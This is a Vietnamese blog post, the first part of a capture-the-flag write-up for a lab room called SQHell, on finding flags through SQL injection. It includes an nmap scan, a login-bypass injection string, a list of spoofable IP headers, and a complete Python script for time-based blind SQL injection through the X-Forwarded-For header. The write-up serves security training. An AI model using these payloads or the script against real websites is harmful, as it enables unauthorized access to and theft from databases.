Advertisement

Responsive Advertisement

SQHell-Try and find all the flags in the SQL Injections - Phần 1

 


1. Mô tả:

Chờ máy một phút để khởi động và sau đó kết nối với http://10.10.18.149

Có 5 cờ để tìm nhưng bạn phải đánh bại các loại SQL injection khác nhau.

Hint: Trừ khi được hiển thị trên trang, các cờ được lưu trữ trong bảng cờ trong cột cờ.

2. Cách làm:

Đây là bài liên quan đến lỗi SQL injection. Mình sẽ thực hiện khai thác website này tìm 5 cờ nhé

Bước 1: Dò quét cổng dịch vụ

# Nmap 7.80 scan initiated Sun May 30 17:55:54 2021 as: nmap -sC -sV -oA nmap/initial 10.10.18.149
Nmap scan report for 10.10.18.149
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Mình thấy mở cổng 22, 80. Không có gì đặc biệt khác mình truy cập website

Bước 2: Khai thác dịch vụ web


Vì biết bài này có lỗi SQLi nên mình truy cập trang login, thấy form đăng nhập. Mình thử nghiệm bypass đăng nhập với tài khoản admin sử dụng một số lệnh tại link sau: https://book.hacktricks.xyz/pentesting-web/sql-injection

Mình thử: admin' or 1=1;-- -

Và đã có cờ đầu tiên


Đơn giản phải không nào.

Tìm cờ số 2, mình xem các đường dẫn phát hiện chỗ Term của website có thông tin này


Ý câu nói là chúng tôi phân tích IP của bạn nhằm mục đích nào đó. Thì trong kiểu tấn công SQLi có kiểu tấn công in-blind SQL ( tấn công ẩn), Một cách phổ biến để theo dõi IP máy khách là thêm tiêu đề vào yêu cầu web, chẳng hạn như 'X-Forwarded-For:', ngoài ra còn số tấn công vào header khác như:

  • X-Originating-IP:
  • X-Remote-IP:
  • X-Remote-Addr:
  • X-Forwarded-Host:
Mình sử dụng burpsuit bắt request với trang TERM này vào thử thêm tham số header request



Nhận thấy dữ liệu vẫn được thực thi và trả về bình thường, mình tìm hiểu trên mạng cách khai thác blind sql dạng này và thực hiện tìm một đoạn code sau để gửi request khai thác

import requests
import time
import string

url = "" #Room IP

characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':'

flag = ""
counter = 1

payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '2') and '1'='1"

headers = {'X-Forwarded-For':payload}

while True:
    for i in characterlist:
        payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '{i}') and '1'='1"
        headers = {'X-Forwarded-For':payload}
        start = time.time()
        r = requests.get(url, headers = headers)
        end = time.time()
        if end-start >= 2:
            flag += i
            counter += 1
            break
    print(flag)
    if len(flag) >= 43:
        exit(f"The Flag is: {flag}")
Payload mình truyền vào get cờ  là: 1' AND (SELECT sleep(5) FROM flag where SUBSTR(flag,1,1) = 'T') and '1'='1

Mình đặt time thử là 5s và sau đó kiếm string bắt đầu bằng chữ 'T'. Sau một thời gian chạy chương trình mình có cờ thứ 2



-Còn tiếp-





Post a Comment

0 Comments